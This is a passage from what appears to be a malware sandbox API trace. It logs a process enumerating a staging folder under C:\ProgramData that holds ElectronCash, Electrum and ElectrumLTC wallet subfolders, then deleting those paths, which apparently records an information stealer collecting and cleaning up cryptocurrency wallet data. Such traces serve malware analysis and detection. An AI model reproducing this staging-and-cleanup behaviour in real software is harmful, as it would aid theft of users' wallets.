lpString1="\\Wallets\\ElectronCash", lpString2="\\" | out: lpString1="\\Wallets\\ElectronCash\\") returned="\\Wallets\\ElectronCash\\" [0102.171] lstrcatW (in: lpString1="\\Wallets\\ElectronCash\\", lpString2="." | out: lpString1="\\Wallets\\ElectronCash\\.") returned="\\Wallets\\ElectronCash\\." [0102.171] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0102.171] FindNextFileW (in: hFindFile=0x6d1718, lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x341b78a8, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x341b78a8, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x341b78a8, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.171] lstrcpyW (in: lpString1=0x19de74, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectronCash" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectronCash") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectronCash" [0102.171] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectronCash", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectronCash\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectronCash\\" [0102.171] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectronCash\\", lpString2=".." | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectronCash\\..") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectronCash\\.." [0102.171] lstrcpyW (in: lpString1=0x19e07c, lpString2="\\Wallets\\ElectronCash" | out: lpString1="\\Wallets\\ElectronCash") returned="\\Wallets\\ElectronCash" [0102.171] lstrcatW (in: lpString1="\\Wallets\\ElectronCash", lpString2="\\" | out: lpString1="\\Wallets\\ElectronCash\\") returned="\\Wallets\\ElectronCash\\" [0102.171] lstrcatW (in: lpString1="\\Wallets\\ElectronCash\\", lpString2=".." | out: lpString1="\\Wallets\\ElectronCash\\..") returned="\\Wallets\\ElectronCash\\.." [0102.171] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0102.171] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0102.171] FindNextFileW (in: hFindFile=0x6d1718, lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x341b78a8, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x341b78a8, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x341b78a8, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0102.171] FindClose (in: hFindFile=0x6d1718 | out: hFindFile=0x6d1718) returned 1 [0102.171] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x90) returned 0x3430048 [0102.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectronCash", cchWideChar=68, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 68 [0102.172] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x44) returned 0x33ab5b8 [0102.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectronCash", cchWideChar=68, lpMultiByteStr=0x33ab5b8, cbMultiByte=68, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectronCash", lpUsedDefaultChar=0x0) returned 68 [0102.172] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x33aa8d0 [0102.172] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33ab5b8 | out: hHeap=0x2110000) returned 1 [0102.172] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0102.172] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0102.172] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x8) returned 0x2116838 [0102.172] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x2116838, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0102.172] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116838 | out: hHeap=0x2110000) returned 1 [0102.172] PathMatchSpecW (pszFile="ElectronCash", pszSpec="*.*") returned 1 [0102.172] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x90) returned 0x3430048 [0102.172] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x34300e0 [0102.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectronCash", cchWideChar=68, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 68 [0102.313] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x44) returned 0x33ab608 [0102.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectronCash", cchWideChar=68, lpMultiByteStr=0x33ab608, cbMultiByte=68, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectronCash", lpUsedDefaultChar=0x0) returned 68 [0102.313] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x33aa770 [0102.313] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33ab608 | out: hHeap=0x2110000) returned 1 [0102.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Wallets\\ElectronCash", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0102.313] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x16) returned 0x3430d40 [0102.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Wallets\\ElectronCash", cchWideChar=22, lpMultiByteStr=0x3430d40, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\Wallets\\ElectronCash", lpUsedDefaultChar=0x0) returned 22 [0102.314] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34306c8 [0102.314] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430d40 | out: hHeap=0x2110000) returned 1 [0102.314] CreateFileA (lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectronCash" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\wallets\\electroncash"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.314] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34306c8 | out: hHeap=0x2110000) returned 1 [0102.314] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa770 | out: hHeap=0x2110000) returned 1 [0102.314] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300e0 | out: hHeap=0x2110000) returned 1 [0102.314] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0102.314] DeleteFileW (lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectronCash" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\wallets\\electroncash")) returned 0 [0102.314] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa8d0 | out: hHeap=0x2110000) returned 1 [0102.314] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x341b3e78, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x341b3e78, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x341b3e78, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Electrum", cAlternateFileName="")) returned 1 [0102.314] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets" [0102.314] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\" [0102.314] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\", lpString2="Electrum" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Electrum") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Electrum" [0102.314] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Wallets" | out: lpString1="\\Wallets") returned="\\Wallets" [0102.314] lstrcatW (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\" [0102.314] lstrcatW (in: lpString1="\\Wallets\\", lpString2="Electrum" | out: lpString1="\\Wallets\\Electrum") returned="\\Wallets\\Electrum" [0102.314] lstrcmpW (lpString1="Electrum", lpString2=".") returned 1 [0102.314] lstrcmpW (lpString1="Electrum", lpString2="..") returned 1 [0102.315] lstrcpyW (in: lpString1=0x19e284, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Electrum" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Electrum") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Electrum" [0102.315] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Electrum", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Electrum\\*.*") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Electrum\\*.*" [0102.315] FindFirstFileW (in: lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Electrum\\*.*", lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x341b3e78, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x341b3e78, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x341b3e78, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d1198 [0102.315] lstrcpyW (in: lpString1=0x19de74, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Electrum" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Electrum") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Electrum" [0102.315] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Electrum", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Electrum\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Electrum\\" [0102.315] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Electrum\\", lpString2="." | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Electrum\\.") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Electrum\\." [0102.315] lstrcpyW (in: lpString1=0x19e07c, lpString2="\\Wallets\\Electrum" | out: lpString1="\\Wallets\\Electrum") returned="\\Wallets\\Electrum" [0102.315] lstrcatW (in: lpString1="\\Wallets\\Electrum", lpString2="\\" | out: lpString1="\\Wallets\\Electrum\\") returned="\\Wallets\\Electrum\\" [0102.315] lstrcatW (in: lpString1="\\Wallets\\Electrum\\", lpString2="." | out: lpString1="\\Wallets\\Electrum\\.") returned="\\Wallets\\Electrum\\." [0102.315] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0102.315] FindNextFileW (in: hFindFile=0x6d1198, lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x341b3e78, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x341b3e78, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x341b3e78, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.315] lstrcpyW (in: lpString1=0x19de74, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Electrum" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Electrum") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Electrum" [0102.315] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Electrum", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Electrum\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Electrum\\" [0102.315] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Electrum\\", lpString2=".." | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Electrum\\..") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Electrum\\.." [0102.315] lstrcpyW (in: lpString1=0x19e07c, lpString2="\\Wallets\\Electrum" | out: lpString1="\\Wallets\\Electrum") returned="\\Wallets\\Electrum" [0102.315] lstrcatW (in: lpString1="\\Wallets\\Electrum", lpString2="\\" | out: lpString1="\\Wallets\\Electrum\\") returned="\\Wallets\\Electrum\\" [0102.315] lstrcatW (in: lpString1="\\Wallets\\Electrum\\", lpString2=".." | out: lpString1="\\Wallets\\Electrum\\..") returned="\\Wallets\\Electrum\\.." [0102.315] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0102.315] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0102.315] FindNextFileW (in: hFindFile=0x6d1198, lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x341b3e78, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x341b3e78, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x341b3e78, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0102.316] FindClose (in: hFindFile=0x6d1198 | out: hFindFile=0x6d1198) returned 1 [0102.316] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x3430048 [0102.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Electrum", cchWideChar=64, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0102.316] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x21127c8 [0102.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Electrum", cchWideChar=64, lpMultiByteStr=0x21127c8, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Electrum", lpUsedDefaultChar=0x0) returned 64 [0102.316] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112cd8 [0102.316] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21127c8 | out: hHeap=0x2110000) returned 1 [0102.316] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0102.316] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0102.316] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x8) returned 0x2116808 [0102.316] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x2116808, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0102.316] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116808 | out: hHeap=0x2110000) returned 1 [0102.316] PathMatchSpecW (pszFile="Electrum", pszSpec="*.*") returned 1 [0102.316] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x3430048 [0102.316] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x34300d0 [0102.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Electrum", cchWideChar=64, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0102.316] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112b28 [0102.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Electrum", cchWideChar=64, lpMultiByteStr=0x2112b28, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Electrum", lpUsedDefaultChar=0x0) returned 64 [0102.316] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x21128a0 [0102.316] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112b28 | out: hHeap=0x2110000) returned 1 [0102.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Wallets\\Electrum", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0102.316] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x12) returned 0x3430ee0 [0102.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Wallets\\Electrum", cchWideChar=18, lpMultiByteStr=0x3430ee0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\Wallets\\Electrum", lpUsedDefaultChar=0x0) returned 18 [0102.316] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430628 [0102.317] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430ee0 | out: hHeap=0x2110000) returned 1 [0102.317] CreateFileA (lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Electrum" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\wallets\\electrum"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.317] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430628 | out: hHeap=0x2110000) returned 1 [0102.317] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21128a0 | out: hHeap=0x2110000) returned 1 [0102.317] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0102.317] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0102.317] DeleteFileW (lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Electrum" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\wallets\\electrum")) returned 0 [0102.326] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112cd8 | out: hHeap=0x2110000) returned 1 [0102.326] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x341b51a8, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x341b51a8, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x341b51a8, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ElectrumLTC", cAlternateFileName="ELECTR~1")) returned 1 [0102.326] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets" [0102.326] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\" [0102.326] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\", lpString2="ElectrumLTC" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectrumLTC") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectrumLTC" [0102.326] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Wallets" | out: lpString1="\\Wallets") returned="\\Wallets" [0102.326] lstrcatW (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\" [0102.326] lstrcatW (in: lpString1="\\Wallets\\", lpString2="ElectrumLTC" | out: lpString1="\\Wallets\\ElectrumLTC") returned="\\Wallets\\ElectrumLTC" [0102.326] lstrcmpW (lpString1="ElectrumLTC", lpString2=".") returned 1 [0102.326] lstrcmpW (lpString1="ElectrumLTC", lpString2="..") returned 1 [0102.326] lstrcpyW (in: lpString1=0x19e284, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectrumLTC" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectrumLTC") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectrumLTC" [0102.326] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectrumLTC", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectrumLTC\\*.*") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectrumLTC\\*.*" [0102.326] FindFirstFileW (in: lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectrumLTC\\*.*", lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x341b51a8, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x341b51a8, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x341b51a8, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d16d8 [0102.326] lstrcpyW (in: lpString1=0x19de74, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectrumLTC" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectrumLTC") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectrumLTC" [0102.326] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectrumLTC", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectrumLTC\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectrumLTC\\" [0102.326] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectrumLTC\\", lpString2="." | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectrumLTC\\.") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectrumLTC\\." [0102.326] lstrcpyW (in: lpString1=0x19e07c, lpString2="\\Wallets\\ElectrumLTC" | out: lpString1="\\Wallets\\ElectrumLTC") returned="\\Wallets\\ElectrumLTC" [0102.326] lstrcatW (in: lpString1="\\Wallets\\ElectrumLTC", lpString2="\\" | out: lpString1="\\Wallets\\ElectrumLTC\\") returned="\\Wallets\\ElectrumLTC\\" [0102.327] lstrcatW (in: lpString1="\\Wallets\\ElectrumLTC\\", lpString2="." | out: lpString1="\\Wallets\\ElectrumLTC\\.") returned="\\Wallets\\ElectrumLTC\\." [0102.327] 